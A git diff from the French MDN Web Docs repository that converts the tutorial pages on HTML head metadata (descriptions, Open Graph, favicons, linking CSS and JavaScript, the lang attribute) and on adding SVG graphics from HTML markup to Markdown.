+<meta name="description" content="La Zone Apprentissage des documents web du MDN a pour but de donner aux débutants du Web tout ce qu'ils doivent -savoir pour commencer le développement de pages webs et d'applications."></pre> +savoir pour commencer le développement de pages webs et d'applications."> +``` + +Préciser l'auteur peut être intéressant dans certains cas : il est utile de savoir qui a écrit la page pour le contacter et lui poser des questions à propos du contenu. Certains systèmes de gestion de contenu procèdent à l'extraction automatique des informations sur l'auteur de la page et les rendent disponibles à cette fin. + +Définir une description qui incorpore des mots-clés relatifs au contenu de la page est utile ; votre page pourra ainsi apparaître plus haut dans la liste de recherches par pertinence créée par un moteur de recherche (ce processus se nomme [Search Engine Optimization](/fr/docs/Glossary/SEO) ou {{glossary("SEO")}} — optimisation du moteur de recherche.) -<p>Préciser l'auteur peut être intéressant dans certains cas : il est utile de savoir qui a écrit la page pour le contacter et lui poser des questions à propos du contenu. Certains systèmes de gestion de contenu procèdent à l'extraction automatique des informations sur l'auteur de la page et les rendent disponibles à cette fin.</p> +### Apprentissage actif : utilisation des descriptions dans les moteurs de recherche. -<p>Définir une description qui incorpore des mots-clés relatifs au contenu de la page est utile ; votre page pourra ainsi apparaître plus haut dans la liste de recherches par pertinence créée par un moteur de recherche (ce processus se nomme <a href="/fr/docs/Glossary/SEO">Search Engine Optimization</a> ou {{glossary("SEO")}} — optimisation du moteur de recherche.)</p> +La description est aussi utilisée dans le résultat des moteurs de recherche. Faisons un exercice pour mieux comprendre. -<h3 id="Apprentissage_actif_utilisation_des_descriptions_dans_les_moteurs_de_recherche.">Apprentissage actif : utilisation des descriptions dans les moteurs de recherche.</h3> +1. Allez sur la page d'accueil de [Mozilla Developer Network](/fr/). +2. Regardez le source de la page (Clic droit/ -<p>La description est aussi utilisée dans le résultat des moteurs de recherche. Faisons un exercice pour mieux comprendre.</p> + <kbd>Ctrl</kbd> -<ol> - <li>Allez sur la page d'accueil de <a href="/fr/">Mozilla Developer Network</a>.</li> - <li>Regardez le source de la page (Clic droit/<kbd>Ctrl</kbd>, choissisez « <em>Code source de la page</em> » dans le menu contextuel.)</li> - <li>Trouvez la balise méta <code>description</code>. Elle ressemble à ceci : - <pre><meta name="description" content="<a class="attribute-value">MDN Web Docs fournit - des informations sur les technologies web ouvertes comme HTML, - CSS et les API utilisées pour les sites web et les applications - web. On y trouve également de la documentation destinées aux - développeurs à propos des produits Mozilla tels que les - outils de développement de Firefox.</a>"></pre> - </li> - <li>Maintenant, cherchez « Mozilla Developer Network » sur votre moteur de recherche favori (nous avons utilisé Google). Vous remarquerez que le contenu de la <code><meta></code> description et de l'élément <code><title></code> sont utilisés dans les résultats de recherche. Cela vaut vraiment la peine ! - <p><img alt='Une page de recherche Google pour "MDN web docs"' src="fr-google.png"></p> - </li> -</ol> + , choissisez « _Code source de la page_ » dans le menu contextuel.) -<div class="note"> -<p><strong>Note :</strong> Avec Google, vous verrez quelques sous-pages pertinentes de MDN listées sous le lien de la page d'accueil — ce sont des liens du site ; ils sont configurables dans les outils de <a href="https://www.google.com/webmasters/tools/">Google's webmaster tools</a> - ces outils sont donc un moyen de rendre les résultats de recherche de votre site meilleurs avec le moteur de recherche de Google.</p> -</div> +3. Trouvez la balise méta `description`. Elle ressemble à ceci : -<div class="note"> -<p><strong>Note :</strong> Plusieurs fonctions <code><meta></code> ne sont plus utilisées. Par exemple, l'élément <code><meta></code> <code>keyword</code> (<code><meta name= "keywords" content="mettez, vos, mot-clés, ici"></code>) — qui est censé fournir des mots-clés pour les moteurs de recherche, afin de déterminer la pertinence de la page pour différents termes de recherche — est ignoré par les moteurs de recherche, car les polluposteurs remplissaient simplement la liste avec des centaines de mots-clés, biaisant les résultats.</p> -</div> + <meta name="description" content="MDN Web Docs fournit + des informations sur les technologies web ouvertes comme HTML, + CSS et les API utilisées pour les sites web et les applications + web. On y trouve également de la documentation destinées aux + développeurs à propos des produits Mozilla tels que les + outils de développement de Firefox."> -<h3 id="Autres_types_de_métadonnées">Autres types de métadonnées</h3> +4. Maintenant, cherchez « Mozilla Developer Network » sur votre moteur de recherche favori (nous avons utilisé Google). Vous remarquerez que le contenu de la `<meta>` description et de l'élément `<title>` sont utilisés dans les résultats de recherche. Cela vaut vraiment la peine ! -<p>En parcourant le web, vous trouverez d'autres types de métadonnées. Beaucoup de fonctionnalités que vous verrez sur les sites webs sont des créations propriétaires, conçues pour être utilisées sur certains sites ( comme les réseaux sociaux ) avec des informations spécifiques qu'ils peuvent utiliser ;</p> +  -<p>Par exemple, <a href="https://ogp.me/">Open Graph Data</a> est un protocole de métadonnées que Facebook a inventé pour fournir des métadonnées plus riches pour les sites webs. Dans le code source de MDN vous trouverez ceci :</p> +> **Note :** Avec Google, vous verrez quelques sous-pages pertinentes de MDN listées sous le lien de la page d'accueil — ce sont des liens du site ; ils sont configurables dans les outils de [Google's webmaster tools](https://www.google.com/webmasters/tools/) - ces outils sont donc un moyen de rendre les résultats de recherche de votre site meilleurs avec le moteur de recherche de Google. -<pre class="brush: html"><meta property="og:image" content="https://developer.mozilla.org/static/img/opengraph-logo.png"> -<meta property="og:description" content="<a class="attribute-value">MDN Web Docs fournit des +> **Note :** Plusieurs fonctions `<meta>` ne sont plus utilisées. Par exemple, l'élément `<meta>` `keyword` (`<meta name= "keywords" content="mettez, vos, mot-clés, ici">`) — qui est censé fournir des mots-clés pour les moteurs de recherche, afin de déterminer la pertinence de la page pour différents termes de recherche — est ignoré par les moteurs de recherche, car les polluposteurs remplissaient simplement la liste avec des centaines de mots-clés, biaisant les résultats. + +### Autres types de métadonnées + +En parcourant le web, vous trouverez d'autres types de métadonnées. Beaucoup de fonctionnalités que vous verrez sur les sites webs sont des créations propriétaires, conçues pour être utilisées sur certains sites ( comme les réseaux sociaux ) avec des informations spécifiques qu'ils peuvent utiliser ; + +Par exemple, [Open Graph Data](https://ogp.me/) est un protocole de métadonnées que Facebook a inventé pour fournir des métadonnées plus riches pour les sites webs. Dans le code source de MDN vous trouverez ceci : + +```html +<meta property="og:image" content="https://developer.mozilla.org/static/img/opengraph-logo.png"> +<meta property="og:description" content="MDN Web Docs fournit des informations sur les technologies web ouvertes comme HTML, CSS et les API utilisées pour les sites web et les applications web. On y trouve également de la documentation destinées aux développeurs à propos des produits -Mozilla tels que les outils de développement de Firefox.</a>"> -<meta property="og:title" content="Mozilla Developer Network"></pre> +Mozilla tels que les outils de développement de Firefox."> +<meta property="og:title" content="Mozilla Developer Network"> +``` + +En conséquence, lorsque vous faites un lien à MDN sur Facebook, le lien apparaît avec une image et une description : une expérience plus riche pour les utilisateurs. + +Twitter a aussi une métadonnée propriétaire, qui a un effet similaire quand l'URL du site est affichée sur twitter.com. Par exemple: -<p>En conséquence, lorsque vous faites un lien à MDN sur Facebook, le lien apparaît avec une image et une description : une expérience plus riche pour les utilisateurs.</p> +```html +<meta name="twitter:title" content="Mozilla Developer Network"> +``` -<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="facebook-output.png">Twitter a aussi une métadonnée propriétaire, qui a un effet similaire quand l'URL du site est affichée sur twitter.com. Par exemple:</p> +## Ajouter des icônes personnalisées à un site -<pre class="brush: html"><meta name="twitter:title" content="Mozilla Developer Network"></pre> +Pour enrichir davantage le design de votre site, vous pouvez ajouter des références à des icônes personnalisées dans vos métadonnées et celles-ci seront affichées dans certains contextes. -<h2 id="Ajouter_des_icônes_personnalisées_à_un_site">Ajouter des icônes personnalisées à un site</h2> +La petite favicône, qui existe depuis de nombreuses années, a été la première icône de ce type, une icône de 16 x 16 pixels utilisée dans de multiples endroits. Vous verrez des favicônes affichés dans chaque onglet du navigateur pour chaque page ouverte et à côté des pages marquées dans le panneau des signets. -<p>Pour enrichir davantage le design de votre site, vous pouvez ajouter des références à des icônes personnalisées dans vos métadonnées et celles-ci seront affichées dans certains contextes.</p> +Une favicône peut être ajoutée à votre page de la façon suivante : -<p>La petite favicône, qui existe depuis de nombreuses années, a été la première icône de ce type, une icône de 16 x 16 pixels utilisée dans de multiples endroits. Vous verrez des favicônes affichés dans chaque onglet du navigateur pour chaque page ouverte et à côté des pages marquées dans le panneau des signets.</p> +1. Enregistrez-la dans le même répertoire que la page d'index du site, sous le format `.ico` (la plupart des navigateurs prendront en charge les favicônes dans des formats plus communs comme `.gif` ou `.png`, mais utiliser le format ICO assurera son fonctionnement depuis Internet Explorer 6.) +2. Ajoutez la ligne suivante dans votre `<head>` du HTML pour la référencer : -<p>Une favicône peut être ajoutée à votre page de la façon suivante :</p> + ```html + <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"> + ``` -<ol> - <li>Enregistrez-la dans le même répertoire que la page d'index du site, sous le format <code>.ico</code> (la plupart des navigateurs prendront en charge les favicônes dans des formats plus communs comme <code>.gif</code> ou <code>.png</code>, mais utiliser le format ICO assurera son fonctionnement depuis Internet Explorer 6.)</li> - <li>Ajoutez la ligne suivante dans votre <code><head></code> du HTML pour la référencer : - <pre class="brush: html"><link rel="shortcut icon" href="favicon.ico" type="image/x-icon"></pre> - </li> -</ol> +Voici un exemple de favicône dans un panneau de favoris : -<p>Voici un exemple de favicône dans un panneau de favoris :</p> + -<p><img alt="Le panneau de signets Firefox, montrant un exemple de signet avec une favicône affichée à côté." src="fr-library.png"></p> +Il existe de nombreux autres types d'icônes à considérer aussi actuellement. Par exemple, vous trouverez ceci dans le code source de la page d'accueil MDN : -<p>Il existe de nombreux autres types d'icônes à considérer aussi actuellement. Par exemple, vous trouverez ceci dans le code source de la page d'accueil MDN :</p> +```html +<!-- troisième-génération iPad avec haute-résolution Retina display: --> +<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.mozilla.org/static/img/favicon144.png"> +<!-- iPhone avec haute-résolution Retina display: --> +<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.mozilla.org/static/img/favicon114.png"> +<!-- iPad de première et deuxième génération : --> +<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.mozilla.org/static/img/favicon72.png"> +<!-- iPhone non-Retina, iPod Touch et appareils Android 2.1+: --> +<link rel="apple-touch-icon-precomposed" href="https://developer.mozilla.org/static/img/favicon57.png"> +<!-- favicône de base --> +<link rel="shortcut icon" href="https://developer.mozilla.org/static/img/favicon32.png"> +``` -<pre class="brush: html"><!-- troisième-génération iPad avec haute-résolution Retina display: --> -<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.mozilla.org/static/img/favicon144.png"> -<!-- iPhone avec haute-résolution Retina display: --> -<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.mozilla.org/static/img/favicon114.png"> -<!-- iPad de première et deuxième génération : --> -<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.mozilla.org/static/img/favicon72.png"> -<!-- iPhone non-Retina, iPod Touch et appareils Android 2.1+: --> -<link rel="apple-touch-icon-precomposed" href="https://developer.mozilla.org/static/img/favicon57.png"> -<!-- favicône de base --> -<link rel="shortcut icon" href="https://developer.mozilla.org/static/img/favicon32.png"></pre> +Les commentaires expliquent ce à quoi chaque icône est utilisée — ces éléments incluent des fonctionnalités telles que la fourniture d'une icône haute résolution à utiliser lorsque le site Web est enregistré sur l'écran d'accueil d'un iPad. -<p>Les commentaires expliquent ce à quoi chaque icône est utilisée — ces éléments incluent des fonctionnalités telles que la fourniture d'une icône haute résolution à utiliser lorsque le site Web est enregistré sur l'écran d'accueil d'un iPad.</p> +Ne vous préoccupez pas de la mise en œuvre de tous ces types d'icônes maintenant — il s'agit d'une fonctionnalité assez avancée ; vous n'avez pas besoin de la connaître pour avancer dans le cours. Le but principal ici est de vous faire savoir à quoi elles ressemblent si vous les rencontriez en parcourant le code source d'autres sites web. -<p>Ne vous préoccupez pas de la mise en œuvre de tous ces types d'icônes maintenant — il s'agit d'une fonctionnalité assez avancée ; vous n'avez pas besoin de la connaître pour avancer dans le cours. Le but principal ici est de vous faire savoir à quoi elles ressemblent si vous les rencontriez en parcourant le code source d'autres sites web.</p> +## Application des CSS et JavaScript au HTML -<h2 id="Application_des_CSS_et_JavaScript_au_HTML">Application des CSS et JavaScript au HTML</h2> +À peu près tous les sites web que vous rencontrerez actuellement utiliseront des {{glossary("CSS")}} pour agrémenter leur aspect, et {{glossary("JavaScript")}} pour assurer les fonctionnalités interactives, telles que lecteurs vidéo, cartes géographiques, jeux et plus encore. Ceux-ci sont le plus souvent appliqués à une page web en utilisant respectivement les éléments {{htmlelement("link")}} et {{htmlelement("script")}}. -<p>À peu près tous les sites web que vous rencontrerez actuellement utiliseront des {{glossary("CSS")}} pour agrémenter leur aspect, et {{glossary("JavaScript")}} pour assurer les fonctionnalités interactives, telles que lecteurs vidéo, cartes géographiques, jeux et plus encore. Ceux-ci sont le plus souvent appliqués à une page web en utilisant respectivement les éléments {{htmlelement("link")}} et {{htmlelement("script")}}.</p> +- L'élément {{htmlelement("link")}} se situe toujours dans l'en-tête du document. Il comporte deux attributs, `rel="stylesheet"` indiquant qu'il s'agit de la feuille de style du document, et `href` indiquant le chemin d'accès au fichier la contenant : -<ul> - <li> - <p>L'élément {{htmlelement("link")}} se situe toujours dans l'en-tête du document. Il comporte deux attributs, <code>rel="stylesheet"</code> indiquant qu'il s'agit de la feuille de style du document, et <code>href</code> indiquant le chemin d'accès au fichier la contenant :</p> + ```html + <link rel="stylesheet" href="mon_fichier_css.css"> + ``` - <pre class="brush: html"><link rel="stylesheet" href="mon_fichier_css.css"></pre> - </li> - <li> - <p>L'élément {{htmlelement("script")}} ne doit pas aller dans l'en-tête ; en fait, il est souvent préférable de le placer au bas du corps du document (juste avant la balise de clôture <code></body></code>), pour s'assurer que tout le contenu HTML a été lu par le navigateur avant de lui appliquer le JavaScript (si JavaScript essaie d'accéder à un élément qui n'existe pas encore, le navigateur déclenchera une erreur).</p> +- L'élément {{htmlelement("script")}} ne doit pas aller dans l'en-tête ; en fait, il est souvent préférable de le placer au bas du corps du document (juste avant la balise de clôture `</body>`), pour s'assurer que tout le contenu HTML a été lu par le navigateur avant de lui appliquer le JavaScript (si JavaScript essaie d'accéder à un élément qui n'existe pas encore, le navigateur déclenchera une erreur). - <pre class="brush: html"><script src="mon-fichier-js.js"></script></pre> + ```html + <script src="mon-fichier-js.js"></script> + ``` - <div class="note"> - <p><strong>Note :</strong> L'élément <code><script></code> peut ressembler à un élément vide, mais ce n'est pas le cas : il faut donc une balise de fermeture. Au lieu de pointer vers un fichier de script externe, vous pouvez également choisir de mettre le code du script dans le HTML à l'intérieur d'un élément <code><script></code>.</p> - </div> - </li> -</ul> + > **Note :** L'élément `<script>` peut ressembler à un élément vide, mais ce n'est pas le cas : il faut donc une balise de fermeture. Au lieu de pointer vers un fichier de script externe, vous pouvez également choisir de mettre le code du script dans le HTML à l'intérieur d'un élément `<script>`. -<h3 id="Apprentissage_actif_appliquer_des_CSS_et_du_JavaScript_à_une_page">Apprentissage actif : appliquer des CSS et du JavaScript à une page</h3> +### Apprentissage actif : appliquer des CSS et du JavaScript à une page -<ol> - <li>Pour commencer cet apprentissage actif, prenez une copie de nos fichiers <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/script.js">script.js</a> et <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/style.css">style.css</a> , et enregistrez-les sur votre ordinateur dans un même répertoire. Assurez-vous qu'ils sont enregistrés avec les noms et les extensions de fichier corrects.</li> - <li>Ouvrez le fichier HTML à la fois dans votre navigateur et votre éditeur de texte.</li> - <li>En suivant les informations fournies ci-dessus, ajoutez les éléments {{htmlelement("link")}} et {{htmlelement("script")}} à votre HTML, afin que les CSS et le JavaScript soient appliqués au HTML.</li> -</ol> +1. Pour commencer cet apprentissage actif, prenez une copie de nos fichiers [meta-example.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html), [script.js](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/script.js) et [style.css](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/style.css) , et enregistrez-les sur votre ordinateur dans un même répertoire. Assurez-vous qu'ils sont enregistrés avec les noms et les extensions de fichier corrects. +2. Ouvrez le fichier HTML à la fois dans votre navigateur et votre éditeur de texte. +3. En suivant les informations fournies ci-dessus, ajoutez les éléments {{htmlelement("link")}} et {{htmlelement("script")}} à votre HTML, afin que les CSS et le JavaScript soient appliqués au HTML. -<p>Si a été fait correctement, après avoir enregistré le HTML, puis actualisé la page, vous verrez que les choses ont changé :</p> +Si a été fait correctement, après avoir enregistré le HTML, puis actualisé la page, vous verrez que les choses ont changé : -<p><img alt="Exemple montrant une page sur laquelle on a appliqué du CSS et du JavaScript. Le CSS a rendu la page verte, alors que le JavaScript a ajouté une liste dynamique à la page." src="js-css-exemple.png"></p> + -<ul> - <li>Le JavaScript a ajouté une liste vide à la page. Maintenant, lorsque vous cliquez n'importe où sur la liste, une boîte de dialogue s'ouvre pour vous permettre de saisir un texte. Lorsque vous appuyez sur le bouton OK, un nouvel élément de la liste est ajouté contenant le texte saisi. Lorsque vous cliquez sur un élément de liste existant, la boîte de dialogue affiche son contenu pour vous permettre de le modifier.</li> - <li>Le CSS a rendu l'arrière-plan vert et le texte plus grand. Il a également décrit le contenu que le JavaScript a ajouté à la page (la barre rouge avec la bordure noire est le style que le CSS a ajouté à la liste générée par JS).</li> -</ul> +- Le JavaScript a ajouté une liste vide à la page. Maintenant, lorsque vous cliquez n'importe où sur la liste, une boîte de dialogue s'ouvre pour vous permettre de saisir un texte. Lorsque vous appuyez sur le bouton OK, un nouvel élément de la liste est ajouté contenant le texte saisi. Lorsque vous cliquez sur un élément de liste existant, la boîte de dialogue affiche son contenu pour vous permettre de le modifier. +- Le CSS a rendu l'arrière-plan vert et le texte plus grand. Il a également décrit le contenu que le JavaScript a ajouté à la page (la barre rouge avec la bordure noire est le style que le CSS a ajouté à la liste générée par JS). -<div class="note"> -<p><strong>Note :</strong> Si vous êtes coincé dans cet exercice et que vous ne pouvez pas obtenir le CSS / JS à appliquer, essayez de vérifier notre exemple de page <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/css-and-js.html">css-and-js.html</a> .</p> -</div> +> **Note :** Si vous êtes coincé dans cet exercice et que vous ne pouvez pas obtenir le CSS / JS à appliquer, essayez de vérifier notre exemple de page [css-and-js.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/css-and-js.html) . -<h2 id="Définition_de_la_langue_principale_du_document">Définition de la langue principale du document</h2> +## Définition de la langue principale du document -<p>Enfin, il convient de mentionner que vous pouvez (et devrez vraiment) définir la langue de votre page. Cela peut être fait en ajoutant l'<a href="/fr/docs/Web/HTML/Global_attributes/lang">attribut <code>lang</code></a> à la balise ouvrante HTML (voir <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>.)</p> +Enfin, il convient de mentionner que vous pouvez (et devrez vraiment) définir la langue de votre page. Cela peut être fait en ajoutant l'[attribut `lang`](/fr/docs/Web/HTML/Global_attributes/lang) à la balise ouvrante HTML (voir [meta-example.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html).) -<pre class="brush: html"><html lang="fr"></pre> +```html +<html lang="fr"> +``` -<p>Ceci est utile de plusieurs façons. Votre document sera indexé plus efficacement par les moteurs de recherche si son langage est défini (ce qui lui permet d'apparaître correctement dans les résultats spécifiques à la langue, par exemple) et il est utile pour les personnes visuellement déficientes utilisant un lecteur d'écran (par exemple, le mot « six » existe en français et en anglais, mais se prononce différemment.)</p> +Ceci est utile de plusieurs façons. Votre document sera indexé plus efficacement par les moteurs de recherche si son langage est défini (ce qui lui permet d'apparaître correctement dans les résultats spécifiques à la langue, par exemple) et il est utile pour les personnes visuellement déficientes utilisant un lecteur d'écran (par exemple, le mot « six » existe en français et en anglais, mais se prononce différemment.) -<p>Vous pouvez également définir des sous-sections de votre document pour qu'elles soient reconnues comme étant en différentes langues. Par exemple, nous pourrions définir la partie en langue japonaise pour qu'elle soit reconnue comme telle, de la manière suivante :</p> +Vous pouvez également définir des sous-sections de votre document pour qu'elles soient reconnues comme étant en différentes langues. Par exemple, nous pourrions définir la partie en langue japonaise pour qu'elle soit reconnue comme telle, de la manière suivante : -<pre class="brush: html"><p>Exemple en japonais : <span lang="jp">ご飯が熱い。</span>.</p></pre> +```html +<p>Exemple en japonais : <span lang="jp">ご飯が熱い。</span>.</p> +``` -<p>Ces codes sont définis par la norme <a href="https://en.wikipedia.org/wiki/ISO_639-1">ISO 639-1</a>. Vous en trouverez plus sur <a href="https://www.w3.org/International/articles/language-tags/">Etiquettes langues en HTML et XML (en)</a>.</p> +Ces codes sont définis par la norme [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1). Vous en trouverez plus sur [Etiquettes langues en HTML et XML (en)](https://www.w3.org/International/articles/language-tags/). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Cela marque la fin de notre tour rapide de l'en-tête HTML — il y a beaucoup plus de possibilités ici, mais un panorama exhaustif serait ennuyeux et susceptible de vous embrouiller à ce stade, nous voulions simplement vous donner une idée des éléments les plus courants. Dans l'article suivant, nous allons étudier les fondamentaux du texte HTML.</p> +Cela marque la fin de notre tour rapide de l'en-tête HTML — il y a beaucoup plus de possibilités ici, mais un panorama exhaustif serait ennuyeux et susceptible de vous embrouiller à ce stade, nous voulions simplement vous donner une idée des éléments les plus courants. Dans l'article suivant, nous allons étudier les fondamentaux du texte HTML. -<p>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Getting_started", "Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML")}}</p> +{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Getting_started", "Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML</a></li> - <li>Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Création d'hyperliens</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Structure de Site Web et de document</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer de l'HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Faire une lettre</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structurer une page de contenu</a></li> -</ul> +- [Commencer avec le HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started) +- Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML +- [Fondamentaux du texte HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) +- [Création d'hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) +- [Formatage avancé du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) +- [Structure de Site Web et de document](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) +- [Déboguer de l'HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) +- [Faire une lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) +- [Structurer une page de contenu](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) diff --git a/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.md b/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.md index e8cddd0909..be749e12b5 100644 --- a/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.md @@ -11,170 +11,171 @@ tags: translation_of: Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web original_slug: Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_à_une_page_web --- -<p>{{LearnSidebar}}<br> - {{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p> +{{LearnSidebar}} +{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}} -<p>Les graphiques vectoriels sont les images adaptatives par excellence : légères et redimensionnables à volonté. Dans cet article, nous verrons comment intégrer des images vectorielles dans une page web.</p> +Les graphiques vectoriels sont les images adaptatives par excellence : légères et redimensionnables à volonté. Dans cet article, nous verrons comment intégrer des images vectorielles dans une page web. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez au préalable savoir comment <a href="/fr/Apprendre/HTML/Write_a_simple_page_in_HTML">créer un document HTML simple</a> et comment <a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web">insérer une image dans un document HTML</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre comment intégrer une image SVG dans une page web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez au préalable savoir comment + <a href="/fr/Apprendre/HTML/Write_a_simple_page_in_HTML" + >créer un document HTML simple</a + > + et comment + <a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web" + >insérer une image dans un document HTML</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td>Apprendre comment intégrer une image SVG dans une page web.</td> + </tr> + </tbody> </table> -<h2 id="Qu'est-ce_que_SVG_Qu'apporte-t-il">Qu'est-ce que SVG ? Qu'apporte-t-il ?</h2> +## Qu'est-ce que SVG ? Qu'apporte-t-il ? -<p><a href="/fr/docs/Web/SVG">SVG</a> est un langage basé sur {{glossary("XML")}} qui permet de décrire des images vectorielles. Commençons par définir ce qu'est une image vectorielle.</p> +[SVG](/fr/docs/Web/SVG) est un langage basé sur {{glossary("XML")}} qui permet de décrire des images vectorielles. Commençons par définir ce qu'est une image vectorielle. -<p>Certaines images (appelées images « <em>matricielles</em> ») sont en fait des tableaux de carrés colorés (appelés pixels). Si on agrandit une image de ce type, à un moment, on arrive à distinguer ces carrés et une ligne diagonale deviendra un « escalier » crénelé.</p> +Certaines images (appelées images « _matricielles_ ») sont en fait des tableaux de carrés colorés (appelés pixels). Si on agrandit une image de ce type, à un moment, on arrive à distinguer ces carrés et une ligne diagonale deviendra un « escalier » crénelé. -<p>Au contraire, <strong>les images vectorielles</strong> décrivent des lignes et des formes. On obtient donc une image qui est toujours nette, quelle que soit la résolution de l'écran ou l'agrandissement effectué sur l'image. Une ligne diagonale sera donc toujours lisse. Une seule image source suffit car il est possible de redimensionner l'image avec CSS plutôt qu'en utilisant <code>srcset</code> et <code>sizes</code>.</p> +Au contraire, **les images vectorielles** décrivent des lignes et des formes. On obtient donc une image qui est toujours nette, quelle que soit la résolution de l'écran ou l'agrandissement effectué sur l'image. Une ligne diagonale sera donc toujours lisse. Une seule image source suffit car il est possible de redimensionner l'image avec CSS plutôt qu'en utilisant `srcset` et `sizes`. -<p>De plus, les fichiers dans lesquels on stocke les images vectorielles sont beaucoup plus légers que leurs homologues matriciels. Le texte utilisé dans une image vectorielle reste accessible (ce qui peut également être utilisé lors du référencement). Les images SVG se prêtent particulièrement bien aux animations scriptées car chaque composant des images sera représenté dans le {{glossary("DOM")}}.</p> +De plus, les fichiers dans lesquels on stocke les images vectorielles sont beaucoup plus légers que leurs homologues matriciels. Le texte utilisé dans une image vectorielle reste accessible (ce qui peut également être utilisé lors du référencement). Les images SVG se prêtent particulièrement bien aux animations scriptées car chaque composant des images sera représenté dans le {{glossary("DOM")}}. -<p>Il est possible de coder le SVG à la main grâce à un éditeur de texte. En revanche, pour réaliser des images moyennement complexes, il est préférable d'utiliser un éditeur graphique dédié, comme <a href="https://inkscape.org">Inkscape</a>. Malheureusement, les téléphones ne permettent pas de prendre des photos qui soient des images vectorielles mais Inkscape possède une fonctionnalité appelée Trace Bitmap qui permet de passer d'une image matricielle à une image vectorielle. Attention à l'utilisation de fichiers SVG complexes, le traitement de ces fichiers par le navigateur pourra entraîner une baisse des performances.</p> +Il est possible de coder le SVG à la main grâce à un éditeur de texte. En revanche, pour réaliser des images moyennement complexes, il est préférable d'utiliser un éditeur graphique dédié, comme [Inkscape](https://inkscape.org). Malheureusement, les téléphones ne permettent pas de prendre des photos qui soient des images vectorielles mais Inkscape possède une fonctionnalité appelée Trace Bitmap qui permet de passer d'une image matricielle à une image vectorielle. Attention à l'utilisation de fichiers SVG complexes, le traitement de ces fichiers par le navigateur pourra entraîner une baisse des performances. -<div class="note"> -<p><strong>Note :</strong> Sous Inkscape, préférez le format « SVG simple » pour sauvegarder vos fichiers, cela permet d'économiser de l'espace. Pour plus d'informations sur la préparation, lire <a href="http://tavmjong.free.fr/INKSCAPE/MANUAL/html/Web-Inkscape.html">cet article qui décrit comment préparer des fichiers SVG pour les utiliser sur le Web</a>.</p> -</div> +> **Note :** Sous Inkscape, préférez le format « SVG simple » pour 